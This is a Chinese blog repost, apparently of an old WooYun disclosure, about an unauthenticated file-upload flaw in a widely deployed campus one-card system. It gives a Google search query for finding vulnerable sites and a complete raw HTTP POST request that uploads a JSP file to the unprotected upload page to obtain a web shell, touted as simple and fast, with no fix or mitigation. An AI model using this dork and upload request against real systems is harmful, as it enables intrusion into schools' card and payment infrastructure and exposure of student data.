某通用型校园一卡通系统直接getshell - 小胖资源博客

某通用型校园一卡通系统直接getshell

作者: 小胖

全网最全的网络资源分享网站

手机扫码查看

标签:

shell

特别声明:文章多为网络转载,资源使用一般不提供任何帮助,特殊资源除外,如有侵权请联系!

2020年春节快乐

直接getshell

简单、方便、快速、省力

那么问题来了

校园一卡通哪家强?

 

谷歌:inurl:/ggxxfb.action?lmid=

 

使用量非常大



但该系统某上传页面无任何登陆验证,直接访问,无任何上传限制,直接getshell

 

code 区域
POST /pages/xxfb/editor/uploadAction.action HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*

Referer:

Accept-Language: zh-cn

Content-Type: multipart/form-data; boundary=---------------------------7de1ed03fc

UA-CPU: x86

Pragma: no-cache

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Host:

Content-Length: 310

Proxy-Connection: Keep-Alive

Cookie: JSESSIONID=E02189DAC512F2CB4FB59B944095620E

 

-----------------------------7de1ed03fc

Content-Disposition: form-data; name="file"; filename="C:\six.jsp"

Content-Type: text/plain

 

<%out.print("hello,wooyun");%>

-----------------------------7de1ed03fc

Content-Disposition: form-data; name="imgfile_session"

 

 

-----------------------------7de1ed03fc--


枚举几例,以证明其通用性:


12-2.jpg





12-3.jpg





12-4.jpg





12-6.jpg




12-5.jpg

 

 

 

 

 

本文最后更新于2015-2-14,已超过 1 年没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!
分享到:
打赏
未经允许不得转载:

作者: 小胖, 转载或复制请以 超链接形式 并注明出处 小胖资源博客
原文地址: 《某通用型校园一卡通系统直接getshell》 发布于2015-2-14

评论

切换注册

登录

您也可以使用第三方帐号快捷登录

切换登录

注册

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏